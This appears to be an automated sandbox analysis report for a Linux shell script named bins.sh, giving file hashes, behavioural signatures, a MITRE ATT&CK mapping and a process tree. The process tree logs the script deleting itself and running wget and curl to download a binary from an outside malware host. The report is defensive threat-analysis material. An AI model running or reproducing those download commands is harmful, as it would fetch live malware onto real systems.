d48a791f79ce65f71407a1ceeb21d49c644392c3c4d13b329334755a53ee96ad

Analysis

max time kernel
149s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 11:56

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General

Target

bins.sh
Size

10KB
MD5

668d44f6e8b6ec4d2ef49b71646ad2e6
SHA1

21d2336198beeb7d0d736484eb9d200e80985778
SHA256

d48a791f79ce65f71407a1ceeb21d49c644392c3c4d13b329334755a53ee96ad
SHA512

f3a4c1c6b54fbf1ee805a2c8c18a848c0add6e58ce2dc06c15e78348e492955f8cd3b6c17a9d29193515884a4e698d489c36f22dc0c547d3fdcb9791c49c2937
SSDEEP

192:qYGYyYQUYH7cVDoZFF44IFFSYGYyYQUYHK:ucVsub

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curl

description ioc process

File opened for reading /proc/cpuinfo curl
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/self/auxv curl
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curlwget

pid process

654 curl
647 wget

description	ioc	process
File opened for reading	/proc/cpuinfo	curl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

pid	process
654	curl
647	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  PID:647
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:654

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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